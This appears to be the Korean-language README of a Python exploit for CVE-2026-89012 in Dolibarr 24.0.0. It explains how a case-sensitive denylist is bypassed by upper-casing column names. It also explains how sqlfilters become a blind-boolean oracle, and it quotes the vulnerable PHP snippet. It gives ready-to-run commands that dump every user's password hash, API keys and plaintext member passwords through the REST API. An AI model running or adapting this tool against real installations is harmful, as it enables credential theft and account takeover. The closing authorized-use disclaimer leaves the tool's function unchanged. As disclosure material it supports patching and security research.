
CVE-2026-89012에 대한 Python 익스플로잇으로, Dolibarr SQL 필터 denylist 우회를 이용해 blind-boolean 오라클로 REST API를 통해 비밀번호 해시와 API 키를 추출합니다.
CVE-2026-89012 익스플로잇: forgeSQLFromUniversalSearchCriteria()의 금지 필드 거부 목록
(CVE-2026-71510 수정과 함께 도입됨)은 대소문자를 구분하는 in_array()를 사용하지만,
피연산자 문자 집합은 A-Z를 허용한다.
SQL 컬럼 해석은 대소문자를 구분하지 않으므로, 인증된 API 사용자는
t.pass_crypted 대신 t.PASS_CRYPTED를 조회하여 거부 목록을 우회할 수 있다.
접두사 LIKE 조건자는 sqlfilters를 블라인드 불리언 오라클로 만들어
비밀번호 해시를 문자 단위로 복원한다.
레코드: https://www.cve.org/CVERecord?id=CVE-2026-89012
| 영향받음 | Dolibarr 24.0.0 |
| 수정됨 | 24.0.1 |
| 전제 조건 | users->lire 권한이 있는 유효한 API 토큰 |
| 영향 | pass_crypted, api_key, pass, pass_temp, openid 노출 |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
표준 라이브러리만 사용 (Python 3.8+). --proxy, --insecure, --timeout을 지원한다.
참고: 대소문자를 구분하지 않는 콜레이션(기본값)에서는 bcrypt 값이
문자 대소문자까지 정확히 복원되며, 평문 컬럼(/api/index.php/members를 통한
llx_adherent.pass, pass_temp)은 바이트 단위로 정확히 복원된다.

승인된 테스트 및 연구 목적으로만 사용하십시오. 본인이 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.